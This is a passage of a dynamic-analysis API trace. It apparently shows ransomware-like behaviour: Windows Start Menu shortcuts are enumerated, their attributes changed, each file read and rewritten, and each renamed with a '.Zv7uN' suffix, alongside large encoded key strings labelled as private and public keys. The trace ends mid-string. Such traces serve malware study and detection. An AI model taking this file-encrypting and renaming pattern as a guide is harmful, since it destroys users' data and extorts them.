[0131.689] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sound recorder.lnk")) returned 0x20 [0131.689] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk", dwFileAttributes=0x80) returned 1 [0131.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.692] GetCurrentThreadId () returned 0xa30 [0131.693] GetCurrentThreadId () returned 0xa30 [0131.693] GetCurrentThreadId () returned 0xa30 [0131.693] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.693] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.693] GetCurrentThreadId () returned 0xa30 [0131.694] GetCurrentThreadId () returned 0xa30 [0131.694] GetCurrentThreadId () returned 0xa30 [0131.694] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sound recorder.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.694] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.694] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.694] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x532 [0131.694] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.694] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x532, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x532, lpOverlapped=0x0) returned 1 [0131.698] CloseHandle (hObject=0x1e8) returned 1 [0131.698] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sound recorder.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.701] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x532, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x532, lpOverlapped=0x0) returned 1 [0131.703] CloseHandle (hObject=0x1e8) returned 1 [0131.703] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sound recorder.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sound recorder.lnk.zv7un")) returned 1 [0131.704] GetCurrentThreadId () returned 0xa30 [0131.704] GetCurrentThreadId () returned 0xa30 [0131.704] GetCurrentThreadId () returned 0xa30 [0131.704] GetCurrentThreadId () returned 0xa30 [0131.704] GetCurrentThreadId () returned 0xa30 [0131.705] GetCurrentThreadId () returned 0xa30 [0131.705] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cc40e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80cc40e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80cc40e0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Sticky Notes.lnk", cAlternateFileName="STICKY~1.LNK")) returned 1 [0131.705] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.705] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.705] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sticky notes.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cc40e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80cc40e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80cc40e0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x547)) returned 1 [0131.705] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sticky notes.lnk")) returned 0x20 [0131.705] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk", dwFileAttributes=0x80) returned 1 [0131.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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